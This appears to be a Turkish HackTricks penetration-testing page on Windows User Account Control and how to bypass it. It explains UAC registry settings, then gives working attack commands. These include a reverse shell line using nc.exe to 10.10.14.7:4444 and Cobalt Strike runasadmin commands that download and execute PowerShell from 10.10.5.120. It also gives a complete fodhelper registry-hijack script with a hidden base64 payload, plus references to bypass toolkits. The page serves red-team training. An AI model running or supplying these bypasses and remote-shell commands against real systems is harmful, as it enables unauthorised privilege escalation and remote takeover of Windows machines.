UAC - Kullanıcı Hesabı Denetimi
Reading time: 13 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
UAC
User Account Control (UAC) özelliği, yükseltilmiş işlemler için onay istemi sağlar. Uygulamaların farklı integrity
seviyeleri vardır ve yüksek seviyede bir program sistemi potansiyel olarak tehlikeye atabilecek görevleri gerçekleştirebilir. UAC etkin olduğunda, bir yönetici bu uygulama/görevlerin sistemde yönetici düzeyinde çalışmasına açıkça izin vermedikçe, uygulamalar ve görevler her zaman yönetici olmayan bir hesabın güvenlik bağlamı altında çalışır. Bu, yöneticileri istem dışı değişikliklerden koruyan bir kolaylık özelliğidir; ancak bir güvenlik sınırı olarak kabul edilmez.
integrity seviyeleri hakkında daha fazla bilgi için:
UAC etkin olduğunda, bir yönetici kullanıcıya 2 token verilir: normal düzeyde işlemler yapmak için bir standart kullanıcı token'ı ve yönetici ayrıcalıklarını içeren bir token.
This page UAC'nin nasıl çalıştığını ayrıntılı olarak açıklar ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içerir. Yöneticiler, UAC'nin kuruluşlarına özgü nasıl çalışacağını yerel düzeyde yapılandırmak için güvenlik politikalarını (secpol.msc kullanarak) kullanabilir veya Active Directory alanı ortamında Group Policy Objects (GPO) aracılığıyla yapılandırıp dağıtabilir. Çeşitli ayarlar detaylı olarak here üzerinde tartışılmıştır. UAC için ayarlanabilecek 10 Group Policy ayarı vardır. Aşağıdaki tablo ek ayrıntı sağlar:
UAC Bypass Theory
Bazı programlar, kullanıcı administrator grubuna aitse otomatik olarak yükseltilir. Bu ikili dosyaların Manifestlerinde autoElevate seçeneği değeri True olarak bulunur. Ayrıca ikili dosyanın Microsoft tarafından imzalanmış olması gerekir.
Birçok auto-elevate işlemi, medium integrity (normal kullanıcı düzeyi ayrıcalıklarıyla) çalışan süreçlerden çağrılabilen COM nesneleri veya RPC sunucuları aracılığıyla işlevsellik sunar. COM (Component Object Model) ve RPC (Remote Procedure Call), Windows programlarının farklı süreçler arasında iletişim kurup işlevleri çalıştırmak için kullandığı yöntemlerdir. Örneğin, IFileOperation COM object
dosya işlemlerini (kopyalama, silme, taşıma) yönetmek için tasarlanmıştır ve uyarı göstermeden ayrıcalıkları otomatik olarak yükseltebilir.
Bazı kontroller yapılabilir; örneğin sürecin System32 dizininden çalıştırılıp çalıştırılmadığı kontrol edilebilir. Bu tür kontroller, örneğin explorer.exe içine inject etmek veya başka bir System32 konumunda bulunan yürütülebilir dosyaya müdahale ederek atlatılabilir.
Bu kontrolleri atlatmanın bir başka yolu da PEB'i değiştirmektir. Windows'taki her sürecin Process Environment Block (PEB) adlı bir yapısı vardır; bu yapı, yürütülebilir yol gibi süreçle ilgili önemli verileri içerir. PEB'i değiştirerek, saldırganlar kendi kötü amaçlı süreçlerinin konumunu sahteleyebilir (spoof), sürecin güvenilen bir dizinden (ör. system32) çalışıyor gibi görünmesini sağlayabilir. Bu sahte bilgi, COM nesnesini uyarı göstermeden ayrıcalıkları otomatik olarak yükseltmesi için kandırır.
Daha sonra UAC'yi atlatmak (medium integrity seviyesinden high seviyeye yükselmek) için bazı saldırganlar bu tür ikili dosyaları keyfi kod yürütmek amacıyla kullanır; çünkü kod, High level integrity işlemi içinde çalıştırılacaktır.
Bir ikili dosyanın Manifest'ini kontrol etmek için Sysinternals'tan sigcheck.exe aracını kullanabilirsiniz. (sigcheck.exe -m <file>
) Ve süreçlerin integrity level değerini görmek için Process Explorer veya Process Monitor (Sysinternals) kullanabilirsiniz.
UAC Kontrolü
UAC'nin etkin olup olmadığını doğrulamak için:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Eğer 1
ise UAC etkinleştirilmiş, eğer 0
ise veya var değilse, UAC etkin değil.
Sonra, hangi seviyenin yapılandırıldığını kontrol edin:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Eğer
0
ise, UAC uyarısı çıkmaz (örneğin devre dışı) - Eğer
1
ise, yöneticiye binary'i yüksek haklarla çalıştırması için kullanıcı adı ve parola sorulur (on Secure Desktop) - Eğer
2
(Always notify me) UAC, yönetici yüksek ayrıcalık gerektiren bir şeyi çalıştırmaya çalıştığında her zaman onay ister (on Secure Desktop) - Eğer
3
1
ile aynı, ancak Secure Desktop üzerinde olmak zorunda değil - Eğer
4
2
ile aynı, ancak Secure Desktop üzerinde olmak zorunda değil - Eğer
5
(default) yöneticiye non Windows binary'leri yüksek ayrıcalıklarla çalıştırmak için onay sorar
Sonra, LocalAccountTokenFilterPolicy
değerine bakmalısınız
Eğer değer 0
ise, yalnızca RID 500 kullanıcı (built-in Administrator) UAC olmadan yönetici görevlerini yapabilir, ve eğer 1
ise, "Administrators" grubundaki tüm hesaplar bunları yapabilir.
Ve son olarak FilterAdministratorToken
anahtarının değerine bakın
Eğer 0
(varsayılan), built-in Administrator account uzak yönetim görevlerini yapabilir ve eğer 1
ise built-in Administrator hesabı uzak yönetim görevlerini yapamaz, LocalAccountTokenFilterPolicy
1
olarak ayarlanmadıkça.
Summary
- Eğer
EnableLUA=0
veya mevcut değilse, hiç kimse için UAC yok - Eğer
EnableLua=1
veLocalAccountTokenFilterPolicy=1
, kimse için UAC yok - Eğer
EnableLua=1
veLocalAccountTokenFilterPolicy=0
veFilterAdministratorToken=0
, RID 500 (Built-in Administrator) için UAC yok - Eğer
EnableLua=1
veLocalAccountTokenFilterPolicy=0
veFilterAdministratorToken=1
, herkes için UAC vardır
Tüm bu bilgiler metasploit modülü kullanılarak toplanabilir: post/windows/gather/win_privs
Ayrıca kullanıcı grubunuzu kontrol edebilir ve integrity level'ınızı görebilirsiniz:
net user %username%
whoami /groups | findstr Level
UAC bypass
tip
Eğer hedefe grafiksel erişiminiz varsa, UAC bypass oldukça basittir; UAC istemi göründüğünde basitçe "Yes"e tıklayabilirsiniz
UAC bypass şu durumda gereklidir: UAC etkin, işleminiz medium integrity context içinde çalışıyor ve kullanıcı administrators group üyesi.
Belirtmek gerekir ki, UAC en yüksek güvenlik seviyesindeyse (Always) atlatmak diğer seviyelerden (Default) çok daha zordur.
UAC devre dışı
Eğer UAC zaten devre dışıysa (ConsentPromptBehaviorAdmin
is 0
) şu gibi bir şey kullanarak execute a reverse shell with admin privileges (high integrity level) çalıştırabilirsiniz:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass with token duplication
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Çok Temel UAC "bypass" (tam dosya sistemi erişimi)
Eğer Administrators grubunda olan bir kullanıcıyla shell'e sahipseniz, SMB üzerinden paylaşılan C$'ı mount ederek yeni bir diske yerel olarak bağlayabilir ve dosya sistemi içindeki her şeye (hatta Administrator'ın ev klasörüne) erişim sağlayabilirsiniz.
warning
Görünüşe göre bu hile artık çalışmıyor
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass ile cobalt strike
Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesine ayarlı değilse çalışır.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire ve Metasploit ayrıca UAC'yi bypass etmek için birkaç modüle sahiptir.
KRBUACBypass
Dokümantasyon ve araç: https://github.com/wh0amitz/KRBUACBypass
UAC bypass exploits
UACME birkaç UAC bypass exploit'inin bir compilation'ıdır. Unutmayın: compile UACME using visual studio or msbuild gerekecektir. The compilation birkaç executables (like Source\Akagi\outout\x64\Debug\Akagi.exe
) oluşturacaktır; hangisine ihtiyacınız olduğunu bilmeniz gerekecek.
Dikkatli olmalısınız çünkü bazı bypass'lar başka bazı programları tetikleyebilir ve bu programlar uyarı ile kullanıcıyı bir şeylerin olduğunu bildirebilir.
UACME, her tekniğin çalışmaya başladığı build version from which each technique started working bilgisine sahiptir. Sürümlerinizi etkileyen bir teknik için arama yapabilirsiniz:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Ayrıca, this sayfasını kullanarak build sürümlerinden Windows sürümü 1607
'yi elde edersiniz.
UAC Bypass – fodhelper.exe (Registry hijack)
Güvenilen ikili fodhelper.exe
modern Windows'ta otomatik olarak yükseltilir. Başlatıldığında, DelegateExecute
eylemini doğrulamadan aşağıdaki kullanıcıya özel kayıt defteri yolunu sorgular. Oraya bir komut yerleştirmek, (kullanıcı Administrators grubundaysa) bir Medium Integrity sürecinin UAC istemi olmadan bir High Integrity süreci başlatmasına olanak sağlar.
fodhelper tarafından sorgulanan kayıt defteri yolu:
HKCU\Software\Classes\ms-settings\Shell\Open\command
PowerShell adımları (payload'unuzu ayarlayın, sonra tetikleyin):
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
Notlar:
- Geçerli kullanıcı Administrators üyesi olduğunda ve UAC seviyesi varsayılan/gevşek (Always Notify ile ekstra kısıtlamalar değil) ise çalışır.
- 64-bit Windows üzerinde 32-bit bir süreçten 64-bit PowerShell başlatmak için
sysnative
yolunu kullanın. - Payload herhangi bir komut olabilir (PowerShell, cmd veya bir EXE yolu). Gizlilik için isteme/dialog pencereleri açmaktan kaçının.
Daha fazla UAC bypass
Burada kullanılan tüm teknikler UAC'yi atlatmak için kurbanla full interactive shell gerektirir (yaygın bir nc.exe shell yeterli değildir).
Bunu bir meterpreter oturumu kullanarak elde edebilirsiniz. Session değeri 1 olan bir process'e migrate edin:
(explorer.exe çalışmalıdır)
GUI ile UAC Bypass
Eğer bir GUI erişiminiz varsa, UAC istemini aldığınızda onu basitçe kabul edebilirsiniz — gerçekten bir bypass'a gerek yoktur. Yani GUI erişimi UAC'yi atlamanızı sağlar.
Ayrıca, biri tarafından kullanılmış (muhtemelen RDP üzerinden) bir GUI oturumu elde ederseniz, bazı araçlar yönetici olarak çalışıyor olacak; bu araçlardan örneğin bir cmd'yi as admin olarak doğrudan çalıştırabilirsiniz ve UAC tarafından tekrar istenmez — örnek: https://github.com/oski02/UAC-GUI-Bypass-appverif. Bu biraz daha stealthy olabilir.
Gürültülü brute-force UAC bypass
Eğer gürültü yapmayı umursamıyorsanız, kullanıcı kabul edene kadar izinleri yükseltmeyi isteyen https://github.com/Chainski/ForceAdmin gibi bir aracı her zaman çalıştırabilirsiniz.
Kendi bypass'ınız - Temel UAC bypass metodolojisi
Eğer UACME'ye bakarsanız, çoğu UAC bypass'ının bir Dll Hijacking zafiyetinden yararlandığını görürsünüz (çoğunlukla kötü amaçlı dll'i C:\Windows\System32 içine yazarak). Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için Read this to learn how to find a Dll Hijacking vulnerability.
- autoelevate yapacak bir binary bulun (çalıştırıldığında yüksek integrity level'da çalıştığını kontrol edin).
- procmon ile NAME NOT FOUND olaylarını bulun; bunlar DLL Hijacking için kırılgan olabilir.
- Muhtemelen yazma izniniz olmayan bazı korumalı yollara (ör. C:\Windows\System32) DLL yazmanız gerekecek. Bunu şu yollarla atlayabilirsiniz:
- wusa.exe: Windows 7, 8 ve 8.1. Bu araç protected paths içine bir CAB dosyasının içeriğini çıkarmanıza izin verir (çünkü bu araç yüksek integrity level'da çalıştırılır).
- IFileOperation: Windows 10.
- DLL'inizi korumalı yola kopyalayıp zafiyetli ve autoelevated binary'i çalıştıracak bir script hazırlayın.
Başka bir UAC bypass tekniği
Bir autoElevated binary'nin registry'den çalıştırılacak bir binary veya command'ın name/path'ini read etmeye çalışıp çalışmadığını izlemeye dayanır (binary bu bilgiyi HKCU içinde arıyorsa bu daha ilgi çekicidir).
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
- LOLBAS: Fodhelper.exe
- Microsoft Docs – How User Account Control works
- UACME – UAC bypass techniques collection
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.